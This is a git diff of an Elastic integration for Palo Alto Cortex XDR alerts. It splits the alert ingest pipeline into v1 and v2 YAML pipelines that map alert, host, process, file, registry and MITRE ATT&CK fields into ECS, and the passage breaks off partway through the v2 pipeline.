panw_cortex.xdr.local_insert_ts - target_field: panw_cortex.xdr.local_insert_ts - formats: - - UNIX_MS - if: ctx.panw_cortex?.xdr?.local_insert_ts != null - - rename: - field: panw_cortex.xdr.name - target_field: message - ignore_missing: true - override: true - - set: - field: event.severity - value: 0 - if: ctx.panw_cortex?.xdr?.severity == "unknown" - - set: - field: event.severity - value: 1 - if: ctx.panw_cortex?.xdr?.severity == "informational" - - set: - field: event.severity - value: 2 - if: ctx.panw_cortex?.xdr?.severity == "low" - - set: - field: event.severity - value: 3 - if: ctx.panw_cortex?.xdr?.severity == "medium" - - set: - field: event.severity - value: 4 - if: ctx.panw_cortex?.xdr?.severity == "high" - - rename: - field: panw_cortex.xdr.external_id - target_field: event.id - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.action - target_field: event.action - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.description - target_field: event.reason - ignore_missing: true - if: ctx.panw_cortex?.xdr?.description instanceof String - override: true - - rename: - field: panw_cortex.xdr.description - target_field: panw_cortex.xdr.bioc_description - ignore_missing: true - if: ctx.event?.reason == null && ctx.panw_cortex?.xdr?.description instanceof List - override: true - - set: - field: event.reason - value: Bioc Event - if: ctx.event?.reason == null && ctx.panw_cortex?.xdr?.bioc_description != null - - rename: - field: panw_cortex.xdr.agent_device_domain - target_field: host.domain - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.agent_fqdn - target_field: host.hostname - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.host_name - target_field: host.hostname - ignore_missing: true - if: ctx.host?.hostname == null - override: true - - lowercase: - target_field: host.name - field: host.hostname - if: ctx.host?.hostname != null - - rename: - field: panw_cortex.xdr.agent_os_type - target_field: host.os.name - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.agent_os_sub_type - target_field: host.os.version - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.mac_addresses - target_field: host.mac - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.host_ip - target_field: host.ip - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.endpoint_id - target_field: host.id - ignore_missing: true - override: true - - split: - field: panw_cortex.xdr.mac - target_field: host.mac - separator: "," - ignore_missing: true - if: ctx.host?.mac == null - - remove: - field: - - panw_cortex.xdr.mac - ignore_missing: true - if: ctx.host?.mac != null - - gsub: - field: host.mac - ignore_missing: true - pattern: '[:.]' - replacement: '-' - - uppercase: - field: host.mac - ignore_missing: true - - rename: - field: panw_cortex.xdr.events.dns_query_name - target_field: dns.question.name - ignore_missing: true - override: true - - script: - if: ctx.panw_cortex?.xdr?.mitre_technique_id_and_name != null - lang: painless - description: "Extract Mitre Techniques and append it to Threat ECS fields" - source: |- - void addTechnique(def ctx, def x, def y) { - if (ctx.threat == null) { - ctx.threat = new HashMap(); - } - if (ctx.threat.technique == null) { - ctx.threat.technique = new HashMap(); - } - if (ctx.threat.technique.id == null) { - ctx.threat.technique.id = new ArrayList(); - } - if (ctx.threat.technique.name == null) { - ctx.threat.technique.name = new ArrayList(); - } - if (!ctx.threat.technique.id.contains(x)) { - ctx.threat.technique.id.add(x); - } - if (!ctx.threat.technique.name.contains(y)) { - ctx.threat.technique.name.add(y); - } - } - for (mitre_technique in ctx.panw_cortex.xdr.mitre_technique_id_and_name) { - addTechnique(ctx, mitre_technique.splitOnToken(' - ')[0], mitre_technique.splitOnToken(' - ')[1]); - } - - script: - if: ctx.panw_cortex?.xdr?.mitre_tactic_id_and_name != null - lang: painless - description: "Extract Mitre Tactics and append it to Threat ECS fields" - source: |- - void addTactic(def ctx, def x, def y) { - if (ctx.threat == null) { - ctx.threat = new HashMap(); - } - if (ctx.threat.tactic == null) { - ctx.threat.tactic = new HashMap(); - } - if (ctx.threat.tactic.id == null) { - ctx.threat.tactic.id = new ArrayList(); - } - if (ctx.threat.tactic.name == null) { - ctx.threat.tactic.name = new ArrayList(); - } - if (!ctx.threat.tactic.id.contains(x)) { - ctx.threat.tactic.id.add(x); - } - if (!ctx.threat.tactic.name.contains(y)) { - ctx.threat.tactic.name.add(y); - } - } - for (mitre_tactic in ctx.panw_cortex.xdr.mitre_tactic_id_and_name) { - addTactic(ctx, mitre_tactic.splitOnToken(' - ')[0], mitre_tactic.splitOnToken(' - ')[1]); - } - - set: - field: threat.framework - value: "MITRE ATT&CK" - if: ctx.threat?.technique != null || ctx.threat?.tactic != null - #The Action actor is an an activity that took place and was recorded by the agent. - - convert: - field: panw_cortex.xdr.events.action_remote_ip - target_field: destination.ip - type: ip - ignore_missing: true - ignore_failure: true - - convert: - field: panw_cortex.xdr.events.action_remote_port - target_field: destination.port - type: long - ignore_missing: true - - convert: - field: panw_cortex.xdr.events.action_local_ip - target_field: source.ip - type: ip - ignore_missing: true - - convert: - field: panw_cortex.xdr.events.action_local_port - target_field: source.port - type: long - ignore_missing: true - - rename: - field: panw_cortex.xdr.events.action_process_image_sha256 - target_field: process.hash.sha256 - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_process_image_command_line - target_field: process.command_line - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_process_image_name - target_field: process.name - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_process_signature_vendor - target_field: process.code_signature.subject_name - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_process_signature_status - target_field: process.code_signature.status - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_process_instance_id - target_field: process.entity_id - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_file_path - target_field: file.path - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_file_name - target_field: file.name - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_file_md5 - target_field: file.hash.md5 - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_file_sha256 - target_field: file.hash.sha256 - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_registry_key_name - target_field: registry.key - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_registry_value_name - target_field: registry.value - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_registry_full_key - target_field: registry.path - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.action_registry_data - target_field: registry.data.strings - ignore_missing: true - override: true - - set: - field: registry.data.strings - value: ['{{{registry.data.strings}}}'] - if: ctx.registry?.data?.strings instanceof String - #The Actor actor is the process that performed the action. - - rename: - field: panw_cortex.xdr.events.actor_process_os_pid - target_field: process.pid - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.actor_process_instance_id - target_field: process.entity_id - ignore_missing: true - if: ctx.process?.entity_id == null - override: true - - rename: - field: panw_cortex.xdr.events.actor_process_image_path - target_field: process.executable - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.actor_process_command_line - target_field: process.command_line - ignore_missing: true - if: ctx.process?.command_line == null - override: true - - rename: - field: panw_cortex.xdr.events.actor_process_image_name - target_field: process.name - ignore_missing: true - if: ctx.process?.name == null - override: true - - rename: - field: panw_cortex.xdr.events.actor_process_signature_vendor - target_field: process.code_signature.subject_name - ignore_missing: true - if: ctx.process?.code_signature?.subject_name == null - override: true - - rename: - field: panw_cortex.xdr.events.actor_process_image_sha256 - target_field: process.hash.sha256 - ignore_missing: true - if: ctx.process?.hash?.sha256 == null - override: true - - rename: - field: panw_cortex.xdr.events.actor_process_image_md5 - target_field: process.hash.md5 - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.actor_thread_thread_id - target_field: process.thread.id - ignore_missing: true - override: true - #The Causality actor—also referred to as the causality group owner (CGO)—is the parent process in the execution chain that the Cortex XDR agent identified as being responsible for initiating the process tree. - - rename: - field: panw_cortex.xdr.events.causality_actor_process_image_name - target_field: process.parent.name - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.causality_actor_process_image_path - target_field: process.parent.executable - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.causality_actor_process_image_md5 - target_field: process.parent.hash.md5 - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.causality_actor_process_image_sha256 - target_field: process.parent.hash.sha256 - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.causality_actor_causality_id - target_field: process.parent.entity_id - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.causality_actor_process_signature_vendor - target_field: process.parent.code_signature.subject_name - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.causality_actor_process_signature_status - target_field: process.parent.code_signature.status - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.causality_actor_process_command_line - target_field: process.parent.command_line - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.causality_actor_process_execution_time - target_field: process.parent.uptime - ignore_missing: true - override: true - # Parse user.domain from user.name - - grok: - field: panw_cortex.xdr.events.user_name - ignore_missing: true - patterns: - - '^%{DATA:user.domain}\\\\%{DATA:user.name}$' - - '^%{DATA:user.domain}\\%{DATA:user.name}$' - - '^%{DATA:user.name}@%{DATA:user.domain}$' - - '^%{DATA:user.name}$' - if: ctx.panw_cortex?.xdr?.events?.user_name != null - - set: - field: user.email - copy_from: panw_cortex.xdr.events.user_name - if: ctx.panw_cortex?.xdr?.events?.user_name instanceof String && ctx.panw_cortex.xdr.events.user_name.contains('@') && ctx.panw_cortex.xdr.events.user_name.contains('.') - - set: - field: user.id - copy_from: panw_cortex.xdr.events.user_name - if: ctx.panw_cortex?.xdr?.events?.user_name instanceof String && ctx.panw_cortex.xdr.events.user_name.contains('@') && ctx.panw_cortex.xdr.events.user_name.contains('.') - - remove: - field: panw_cortex.xdr.events.user_name - ignore_missing: true - - rename: - field: panw_cortex.xdr.events.fw_rule - target_field: rule.name - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.fw_rule_id - target_field: rule.id - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.fw_interface_from - target_field: observer.ingress.interface.name - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.fw_interface_to - target_field: observer.egress.interface.name - ignore_missing: true - override: true - - rename: - field: panw_cortex.xdr.events.fw_serial_number - target_field: observer.serial_number - ignore_missing: true - override: true - - set: - field: email.subject - copy_from: panw_cortex.xdr.events.fw_email_subject - if: ctx.panw_cortex.xdr?.events?.fw_email_subject != null - - append: - field: email.from.address - value: "{{{panw_cortex.xdr.events.fw_email_sender}}}" - if: ctx.panw_cortex.xdr?.events?.fw_email_sender != null - allow_duplicates: false - - append: - field: email.to.address - value: "{{{panw_cortex.xdr.events.fw_email_recipient}}}" - if: ctx.panw_cortex.xdr?.events?.fw_email_recipient != null - allow_duplicates: false - - geoip: - field: source.ip - target_field: source.geo - ignore_missing: true - - geoip: - field: destination.ip - target_field: destination.geo - ignore_missing: true - - geoip: - database_file: GeoLite2-ASN.mmdb - field: source.ip - target_field: source.as - properties: - - asn - - organization_name - ignore_missing: true - - geoip: - database_file: GeoLite2-ASN.mmdb - field: destination.ip - target_field: destination.as - properties: - - asn - - organization_name - ignore_missing: true - - rename: - field: source.as.asn - target_field: source.as.number - ignore_missing: true - override: true - - rename: - field: source.as.organization_name - target_field: source.as.organization.name - ignore_missing: true - override: true - - rename: - field: destination.as.asn - target_field: destination.as.number - ignore_missing: true - override: true - - rename: - field: destination.as.organization_name - target_field: destination.as.organization.name - ignore_missing: true - override: true - - append: - field: related.hash - value: "{{{process.parent.hash.md5}}}" - allow_duplicates: false - if: ctx.process?.parent?.hash?.md5 != null - - append: - field: related.hash - value: "{{{process.parent.hash.sha256}}}" - allow_duplicates: false - if: ctx.process?.parent?.hash?.sha256 != null - - append: - field: related.hash - value: "{{{process.hash.md5}}}" - allow_duplicates: false - if: ctx.process?.hash?.md5 != null - - append: - field: related.hash - value: "{{{process.hash.sha256}}}" - allow_duplicates: false - if: ctx.process?.hash?.sha256 != null - - append: - field: related.hash - value: "{{{file.hash.sha256}}}" - allow_duplicates: false - if: ctx.file?.hash?.sha256 != null - - append: - field: related.hash - value: "{{{file.hash.md5}}}" - allow_duplicates: false - if: ctx.file?.hash?.md5 != null - - append: - field: related.user - value: "{{{user.name}}}" - allow_duplicates: false - if: ctx.user?.name != null - - foreach: - field: panw_cortex.xdr.tags - if: ctx.panw_cortex?.xdr?.tags != null - processor: - append: - field: tags - value: '{{{_ingest._value}}}' - allow_duplicates: false - - remove: - field: - - panw_cortex.xdr.host_name - - panw_cortex.xdr.detection_timestamp - - panw_cortex.xdr.events.event_timestamp - - panw_cortex.xdr.severity - - panw_cortex.xdr.events.action_remote_ip - - panw_cortex.xdr.events.action_remote_port - - panw_cortex.xdr.events.action_local_ip - - panw_cortex.xdr.events.action_local_port - - panw_cortex.xdr.events.action_country - - panw_cortex.xdr.bioc_indicator - - panw_cortex.xdr.tags - - panw_cortex.xdr.mitre_technique_id_and_name - - panw_cortex.xdr.mitre_tactic_id_and_name - ignore_missing: true + - pipeline: + name: '{{ IngestPipeline "v1_pipeline" }}' + if: ctx._conf?.api == null || ctx._conf?.api == 'v1' + tag: v1_pipeline + - pipeline: + name: '{{ IngestPipeline "v2_pipeline" }}' + if: ctx._conf?.api == 'v2' + tag: v2_pipeline on_failure: - set: field: event.kind @@ -626,4 +65,7 @@ on_failure: allow_duplicates: false - append: field: error.message - value: '{{{ _ingest.on_failure_message }}}' + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' diff --git a/packages/panw_cortex_xdr/data_stream/alerts/elasticsearch/ingest_pipeline/v1_pipeline.yml b/packages/panw_cortex_xdr/data_stream/alerts/elasticsearch/ingest_pipeline/v1_pipeline.yml new file mode 100644 index 00000000000..81491354cf4 --- /dev/null +++ b/packages/panw_cortex_xdr/data_stream/alerts/elasticsearch/ingest_pipeline/v1_pipeline.yml @@ -0,0 +1,583 @@ +--- +description: Pipeline for Palo Alto Cortext XDR Alerts v1 API. +processors: + - fingerprint: + fields: + - panw_cortex.xdr.events.event_timestamp + - panw_cortex.xdr.events.event_id + - panw_cortex.xdr.events.event_type + - panw_cortex.xdr.alert_id + target_field: "_id" + ignore_missing: true + - date: + field: panw_cortex.xdr.events.event_timestamp + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.events?.event_timestamp != null + - date: + field: panw_cortex.xdr.events.agent_host_boot_time + target_field: panw_cortex.xdr.events.agent_host_boot_time + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.events?.agent_host_boot_time != null + - date: + field: panw_cortex.xdr.detection_timestamp + target_field: event.created + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.detection_timestamp != null + - date: + field: panw_cortex.xdr.end_match_attempt_ts + target_field: panw_cortex.xdr.end_match_attempt_ts + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.end_match_attempt_ts != null + - date: + field: panw_cortex.xdr.local_insert_ts + target_field: panw_cortex.xdr.local_insert_ts + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.local_insert_ts != null + - rename: + field: panw_cortex.xdr.name + target_field: message + ignore_missing: true + override: true + - set: + field: event.severity + value: 0 + if: ctx.panw_cortex?.xdr?.severity == "unknown" + - set: + field: event.severity + value: 1 + if: ctx.panw_cortex?.xdr?.severity == "informational" + - set: + field: event.severity + value: 2 + if: ctx.panw_cortex?.xdr?.severity == "low" + - set: + field: event.severity + value: 3 + if: ctx.panw_cortex?.xdr?.severity == "medium" + - set: + field: event.severity + value: 4 + if: ctx.panw_cortex?.xdr?.severity == "high" + - rename: + field: panw_cortex.xdr.external_id + target_field: event.id + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.action + target_field: event.action + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.description + target_field: event.reason + ignore_missing: true + if: ctx.panw_cortex?.xdr?.description instanceof String + override: true + - rename: + field: panw_cortex.xdr.description + target_field: panw_cortex.xdr.bioc_description + ignore_missing: true + if: ctx.event?.reason == null && ctx.panw_cortex?.xdr?.description instanceof List + override: true + - set: + field: event.reason + value: Bioc Event + if: ctx.event?.reason == null && ctx.panw_cortex?.xdr?.bioc_description != null + - rename: + field: panw_cortex.xdr.agent_device_domain + target_field: host.domain + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.agent_fqdn + target_field: host.hostname + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.host_name + target_field: host.hostname + ignore_missing: true + if: ctx.host?.hostname == null + override: true + - lowercase: + target_field: host.name + field: host.hostname + if: ctx.host?.hostname != null + - rename: + field: panw_cortex.xdr.agent_os_type + target_field: host.os.name + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.agent_os_sub_type + target_field: host.os.version + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.mac_addresses + target_field: host.mac + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.host_ip + target_field: host.ip + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.endpoint_id + target_field: host.id + ignore_missing: true + override: true + - split: + field: panw_cortex.xdr.mac + target_field: host.mac + separator: "," + ignore_missing: true + if: ctx.host?.mac == null + - remove: + field: + - panw_cortex.xdr.mac + ignore_missing: true + if: ctx.host?.mac != null + - gsub: + field: host.mac + ignore_missing: true + pattern: '[:.]' + replacement: '-' + - uppercase: + field: host.mac + ignore_missing: true + - rename: + field: panw_cortex.xdr.events.dns_query_name + target_field: dns.question.name + ignore_missing: true + override: true + - script: + if: ctx.panw_cortex?.xdr?.mitre_technique_id_and_name != null + lang: painless + description: "Extract Mitre Techniques and append it to Threat ECS fields" + source: |- + void addTechnique(def ctx, def x, def y) { + if (ctx.threat == null) { + ctx.threat = new HashMap(); + } + if (ctx.threat.technique == null) { + ctx.threat.technique = new HashMap(); + } + if (ctx.threat.technique.id == null) { + ctx.threat.technique.id = new ArrayList(); + } + if (ctx.threat.technique.name == null) { + ctx.threat.technique.name = new ArrayList(); + } + if (!ctx.threat.technique.id.contains(x)) { + ctx.threat.technique.id.add(x); + } + if (!ctx.threat.technique.name.contains(y)) { + ctx.threat.technique.name.add(y); + } + } + for (mitre_technique in ctx.panw_cortex.xdr.mitre_technique_id_and_name) { + addTechnique(ctx, mitre_technique.splitOnToken(' - ')[0], mitre_technique.splitOnToken(' - ')[1]); + } + - script: + if: ctx.panw_cortex?.xdr?.mitre_tactic_id_and_name != null + lang: painless + description: "Extract Mitre Tactics and append it to Threat ECS fields" + source: |- + void addTactic(def ctx, def x, def y) { + if (ctx.threat == null) { + ctx.threat = new HashMap(); + } + if (ctx.threat.tactic == null) { + ctx.threat.tactic = new HashMap(); + } + if (ctx.threat.tactic.id == null) { + ctx.threat.tactic.id = new ArrayList(); + } + if (ctx.threat.tactic.name == null) { + ctx.threat.tactic.name = new ArrayList(); + } + if (!ctx.threat.tactic.id.contains(x)) { + ctx.threat.tactic.id.add(x); + } + if (!ctx.threat.tactic.name.contains(y)) { + ctx.threat.tactic.name.add(y); + } + } + for (mitre_tactic in ctx.panw_cortex.xdr.mitre_tactic_id_and_name) { + addTactic(ctx, mitre_tactic.splitOnToken(' - ')[0], mitre_tactic.splitOnToken(' - ')[1]); + } + - set: + field: threat.framework + value: "MITRE ATT&CK" + if: ctx.threat?.technique != null || ctx.threat?.tactic != null + #The Action actor is an an activity that took place and was recorded by the agent. + - convert: + field: panw_cortex.xdr.events.action_remote_ip + target_field: destination.ip + type: ip + ignore_missing: true + ignore_failure: true + - convert: + field: panw_cortex.xdr.events.action_remote_port + target_field: destination.port + type: long + ignore_missing: true + - convert: + field: panw_cortex.xdr.events.action_local_ip + target_field: source.ip + type: ip + ignore_missing: true + - convert: + field: panw_cortex.xdr.events.action_local_port + target_field: source.port + type: long + ignore_missing: true + - rename: + field: panw_cortex.xdr.events.action_process_image_sha256 + target_field: process.hash.sha256 + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_process_image_command_line + target_field: process.command_line + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_process_image_name + target_field: process.name + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_process_signature_vendor + target_field: process.code_signature.subject_name + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_process_signature_status + target_field: process.code_signature.status + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_process_instance_id + target_field: process.entity_id + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_file_path + target_field: file.path + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_file_name + target_field: file.name + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_file_md5 + target_field: file.hash.md5 + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_file_sha256 + target_field: file.hash.sha256 + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_registry_key_name + target_field: registry.key + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_registry_value_name + target_field: registry.value + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_registry_full_key + target_field: registry.path + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.action_registry_data + target_field: registry.data.strings + ignore_missing: true + override: true + - set: + field: registry.data.strings + value: ['{{{registry.data.strings}}}'] + if: ctx.registry?.data?.strings instanceof String + #The Actor actor is the process that performed the action. + - rename: + field: panw_cortex.xdr.events.actor_process_os_pid + target_field: process.pid + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.actor_process_instance_id + target_field: process.entity_id + ignore_missing: true + if: ctx.process?.entity_id == null + override: true + - rename: + field: panw_cortex.xdr.events.actor_process_image_path + target_field: process.executable + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.actor_process_command_line + target_field: process.command_line + ignore_missing: true + if: ctx.process?.command_line == null + override: true + - rename: + field: panw_cortex.xdr.events.actor_process_image_name + target_field: process.name + ignore_missing: true + if: ctx.process?.name == null + override: true + - rename: + field: panw_cortex.xdr.events.actor_process_signature_vendor + target_field: process.code_signature.subject_name + ignore_missing: true + if: ctx.process?.code_signature?.subject_name == null + override: true + - rename: + field: panw_cortex.xdr.events.actor_process_image_sha256 + target_field: process.hash.sha256 + ignore_missing: true + if: ctx.process?.hash?.sha256 == null + override: true + - rename: + field: panw_cortex.xdr.events.actor_process_image_md5 + target_field: process.hash.md5 + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.actor_thread_thread_id + target_field: process.thread.id + ignore_missing: true + override: true + #The Causality actor—also referred to as the causality group owner (CGO)—is the parent process in the execution chain that the Cortex XDR agent identified as being responsible for initiating the process tree. + - rename: + field: panw_cortex.xdr.events.causality_actor_process_image_name + target_field: process.parent.name + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.causality_actor_process_image_path + target_field: process.parent.executable + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.causality_actor_process_image_md5 + target_field: process.parent.hash.md5 + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.causality_actor_process_image_sha256 + target_field: process.parent.hash.sha256 + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.causality_actor_causality_id + target_field: process.parent.entity_id + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.causality_actor_process_signature_vendor + target_field: process.parent.code_signature.subject_name + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.causality_actor_process_signature_status + target_field: process.parent.code_signature.status + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.causality_actor_process_command_line + target_field: process.parent.command_line + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.causality_actor_process_execution_time + target_field: process.parent.uptime + ignore_missing: true + override: true + # Parse user.domain from user.name + - grok: + field: panw_cortex.xdr.events.user_name + ignore_missing: true + patterns: + - '^%{DATA:user.domain}\\\\%{DATA:user.name}$' + - '^%{DATA:user.domain}\\%{DATA:user.name}$' + - '^%{DATA:user.name}@%{DATA:user.domain}$' + - '^%{DATA:user.name}$' + if: ctx.panw_cortex?.xdr?.events?.user_name != null + - set: + field: user.email + copy_from: panw_cortex.xdr.events.user_name + if: ctx.panw_cortex?.xdr?.events?.user_name instanceof String && ctx.panw_cortex.xdr.events.user_name.contains('@') && ctx.panw_cortex.xdr.events.user_name.contains('.') + - set: + field: user.id + copy_from: panw_cortex.xdr.events.user_name + if: ctx.panw_cortex?.xdr?.events?.user_name instanceof String && ctx.panw_cortex.xdr.events.user_name.contains('@') && ctx.panw_cortex.xdr.events.user_name.contains('.') + - remove: + field: panw_cortex.xdr.events.user_name + ignore_missing: true + - rename: + field: panw_cortex.xdr.events.fw_rule + target_field: rule.name + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.fw_rule_id + target_field: rule.id + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.fw_interface_from + target_field: observer.ingress.interface.name + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.fw_interface_to + target_field: observer.egress.interface.name + ignore_missing: true + override: true + - rename: + field: panw_cortex.xdr.events.fw_serial_number + target_field: observer.serial_number + ignore_missing: true + override: true + - set: + field: email.subject + copy_from: panw_cortex.xdr.events.fw_email_subject + if: ctx.panw_cortex.xdr?.events?.fw_email_subject != null + - append: + field: email.from.address + value: "{{{panw_cortex.xdr.events.fw_email_sender}}}" + if: ctx.panw_cortex.xdr?.events?.fw_email_sender != null + - append: + field: email.to.address + value: "{{{panw_cortex.xdr.events.fw_email_recipient}}}" + if: ctx.panw_cortex.xdr?.events?.fw_email_recipient != null + - geoip: + field: source.ip + target_field: source.geo + ignore_missing: true + - geoip: + field: destination.ip + target_field: destination.geo + ignore_missing: true + - geoip: + database_file: GeoLite2-ASN.mmdb + field: source.ip + target_field: source.as + properties: + - asn + - organization_name + ignore_missing: true + - geoip: + database_file: GeoLite2-ASN.mmdb + field: destination.ip + target_field: destination.as + properties: + - asn + - organization_name + ignore_missing: true + - rename: + field: source.as.asn + target_field: source.as.number + ignore_missing: true + override: true + - rename: + field: source.as.organization_name + target_field: source.as.organization.name + ignore_missing: true + override: true + - rename: + field: destination.as.asn + target_field: destination.as.number + ignore_missing: true + override: true + - rename: + field: destination.as.organization_name + target_field: destination.as.organization.name + ignore_missing: true + override: true + - append: + field: related.hash + value: "{{{process.parent.hash.md5}}}" + allow_duplicates: false + if: ctx.process?.parent?.hash?.md5 != null + - append: + field: related.hash + value: "{{{process.parent.hash.sha256}}}" + allow_duplicates: false + if: ctx.process?.parent?.hash?.sha256 != null + - append: + field: related.hash + value: "{{{process.hash.md5}}}" + allow_duplicates: false + if: ctx.process?.hash?.md5 != null + - append: + field: related.hash + value: "{{{process.hash.sha256}}}" + allow_duplicates: false + if: ctx.process?.hash?.sha256 != null + - append: + field: related.hash + value: "{{{file.hash.sha256}}}" + allow_duplicates: false + if: ctx.file?.hash?.sha256 != null + - append: + field: related.hash + value: "{{{file.hash.md5}}}" + allow_duplicates: false + if: ctx.file?.hash?.md5 != null + - append: + field: related.user + value: "{{{user.name}}}" + allow_duplicates: false + if: ctx.user?.name != null + - foreach: + field: panw_cortex.xdr.tags + if: ctx.panw_cortex?.xdr?.tags != null + processor: + append: + field: tags + value: '{{{_ingest._value}}}' + allow_duplicates: false + - remove: + field: + - panw_cortex.xdr.host_name + - panw_cortex.xdr.detection_timestamp + - panw_cortex.xdr.events.event_timestamp + - panw_cortex.xdr.severity + - panw_cortex.xdr.events.action_remote_ip + - panw_cortex.xdr.events.action_remote_port + - panw_cortex.xdr.events.action_local_ip + - panw_cortex.xdr.events.action_local_port + - panw_cortex.xdr.events.action_country + - panw_cortex.xdr.bioc_indicator + - panw_cortex.xdr.tags + - panw_cortex.xdr.mitre_technique_id_and_name + - panw_cortex.xdr.mitre_tactic_id_and_name + ignore_missing: true + +# Error handling +on_failure: + - set: + field: event.kind + value: pipeline_error + - append: + field: error.message + value: '{{{ _ingest.on_failure_message }}}' diff --git a/packages/panw_cortex_xdr/data_stream/alerts/elasticsearch/ingest_pipeline/v2_pipeline.yml b/packages/panw_cortex_xdr/data_stream/alerts/elasticsearch/ingest_pipeline/v2_pipeline.yml new file mode 100644 index 00000000000..76bbd7ac6a7 --- /dev/null +++ b/packages/panw_cortex_xdr/data_stream/alerts/elasticsearch/ingest_pipeline/v2_pipeline.yml @@ -0,0 +1,1002 @@ +--- +description: Pipeline for Palo Alto Cortext XDR Alerts v2 API. +processors: + - fingerprint: + fields: + - panw_cortex.xdr.event_timestamp + - panw_cortex.xdr.event_id + - panw_cortex.xdr.event_type + - panw_cortex.xdr.alert_id + target_field: "_id" + tag: fingerprint_id + ignore_missing: true + - date: + field: panw_cortex.xdr.event_timestamp.0 + tag: date_panw_cortex.xdr.event_timestamp.0 + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.event_timestamp instanceof List + on_failure: + - remove: + field: panw_cortex.xdr.event_timestamp + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: panw_cortex.xdr.agent_host_boot_time.0 + tag: date_panw_cortex.xdr.agent_host_boot_time.0 + target_field: panw_cortex.xdr.agent_host_boot_time + formats: + - UNIX_MS + if: ctx.panw_cortex?.xdr?.agent_host_boot_time instanceof List + on_failure: + - remove: + field: panw_cortex.xdr.agent_host_boot_time + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline 